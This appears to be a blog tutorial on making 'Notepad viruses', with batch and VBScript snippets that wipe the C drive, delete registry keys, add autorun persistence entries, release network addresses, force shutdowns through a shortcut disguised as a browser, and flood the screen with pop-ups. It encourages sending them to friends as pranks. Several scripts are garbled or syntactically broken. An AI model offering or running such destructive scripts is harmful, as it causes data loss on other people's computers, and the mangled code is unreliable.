How To Create a Computer Virus in 2022 - Best Notepad/Python Viruses

We are living in a tech world today where everyone is using computers and almost every one of us knows about the threats too. This is a malicious program that makes an entry into our system without our permission. It can affect our data and OS. There are various kinds such as Trojan horses, Malware, Rootkit, RAT, Worms and many others.

This article will teach you how to create a real computer virus using Notepad, which is harmless. We will be sharing Notepad Virus Scripts that can destroy someone’s PC. However, it’s not as easy as it sounds. Be patient and try again if it doesn’t work on the first try for you.

Let’s start!

How to Create a Computer Virus – 10 Best Notepad Virus Scripts (Effective)

Most of us would think that the method is coding, but you’re wrong. These are simple tricks based on a notepad. Moreover, you can also remove malware from your browser if it gets infected.

Creating a harmless CD-ROM Virus

  • You need to open a notepad and type the following code into it, save it as CD-ROM-SecuredYou.vbs or anything you want.

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
For i = 0 to colCDROMs.Count – 1
End If
wscript.sleep 5000

  • As you double click on this file, you would see what this harmless yet straightforward script can do. Your CD or DVD drivers shall get ejected continuously.

How to stop CD-Rom notepad virus:

  • Open the task manager.
  • Select the process tab.
  • Then end the wscript.exe file.

SEE ALSO: The Best Programming and Coding Languages that will make you a Hacker.

Create a Dangerous Virus – Deletes all System32 and OS Files

  • Open up a notepad in your windows OS.
  • Then copy and paste the following code:

@Echo off

Del C: *.* |y

Create Notepad Virus to Delete OS Files

  • Save it as virus.bat, keep in mind that you can select any name you want, but .bat needs to be there after the name.
  • As you run this file, It shall delete Drive C:\ completely, and OS of the system shall be corrupted.
Recommended:  Free Premium Chegg Accounts and Passwords 2022 (Latest)

Note: Keep in mind that it is only to educate people. Do not try this on your computer system as it shall format C Drive completely.

SEE ALSO: 4 Effective Ways to Protect your Computer from harmful Viruses.

A virus that blocks internet access

Such kind is harmless and shall not destroy your PC. Users can use this notepad virus to prank their friends. This is used to stop someone’s internet access. For this type the following command:

@Echo off

Ipcongif /release

  • Save this file as .bat just like internet.bat, then send it to your friends.
  • IP address gets lost, and you shall not be able to fix it.

To fix:

  • You need type in Ipconfig /renew.

Create a virus to test your Antivirus Security

  • You need to open a notepad and then type the following command and save the file as EICAR.COM.


  • If you carry an active antivirus software, then IT shall remove this file simply and quickly.

SEE ALSO: Keep your website secure by following our Website Security Guide.

Shutdown Virus – Turn off someones PC with a file

Create Shutdown Virus Script

Create viruses with which you can shut down computer systems. Though this is harmless users can lose data due to sudden shutdown. For this:

  • In the first step, you need to click right on the desktop and then click on create a shortcut.
  • In CMD pop-up type: windows –s –t 20 –c. The computer is shutting down. Now despite users can put in any value he wants as it represents the time in seconds.
  • Hit next and type “Firefox” or whatever you wish to.
  • After this change, the icon of a shortcut, choose google chrome.

It disguises itself as a web browser. Users can carry this in their pen drive and shut down their friend’s system.

SEE ALSO: Find out if you have a Rootkit or Virus in your system.

Create a Matrix-type screen – Be like a hacker

How to Make a Virus in Notepad that is Harmless

You can say it is a simple notepad trick with which users can string of green characters that appear randomly. This has nothing to do with the computer registry, batch or anything else. Use this to scare your friends because this screen looks like a virus has affected it.

  • In the notepad type the following code:

@echo off
color 02
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

  • Save this file as Matrix.bat and then click to see it work.
Recommended:  How to Disable Incognito Mode in Google Chrome (Android, iPhone, Desktop)

Note: Keep in mind that these viruses are dangerous and can destroy your system; therefore, do not use them for evil purposes.

SEE ALSO: Top 7 Best Free Antivirus Software Trials to Download for Windows 10/11.

Endless notepads – Pop-up virus

Type in the following code, and it shall take endless pop-up notepads until the computer freezes and crashes.

@ECHO off
START %SystemRoot%\system32\notepad.exe
GOTO top

SEE ALSO: How to Keep your Windows 10/11 PC or Laptop Safe from Online Threats.

Disable internet – Disconnects any Wireless Connection

Create a real virus using Notepad

Disable anyone internet by typing in the following code:

echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!

Endless Enter – Keeps the Enter Key Active

Use the following code to make the enter button pressed continuously.

Set wshShell = wscript.CreateObject(”WScript.Shell”)
wscript.sleep 100
wshshell.sendkeys “~(enter)”

SEE ALSO: How to Remove any Dangerous Malware from your PC.

Delete Registry Files Virus Script

Registry Files Delete Script

Now before you try the notepad virus keep in mind that it is dangerous and can cause permanent damage to your OS. To recover from this, you only have the option to re-install your windows. For this type the following code:

START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
ECHO Your PC has been crashed.Your Dad.

SEE ALSO: How to Delete Arcade Spot Games Redirect Browser Virus (Guide).

Disclaimer: Please be aware that these are real viruses that can be used to destroy a computer if used with the wrong intent. Only use them on systems that you have permissions to do so on. These are only for educational and informational purposes.

Related Tools you might be interested in:

Have you ever Created a Harmless Virus using Notepad?

Let’s be very honest. We have all wanted to be hackers since childhood or at least hack into someone’s Facebook account, right? The guide above shows you how to create a virus using Notepad, which is harmless. We have shared 10 of the most popular Notepad virus scripts for shutdown, registry delete and blocking internet access.

Shaheer is the founder of SecuredYou. He is a cybersecurity freak and loves anything related to Computers and Technology. Apart from being a tech geek, he loves listening to music and going to the gym.


Please enter your comment!
Please enter your name here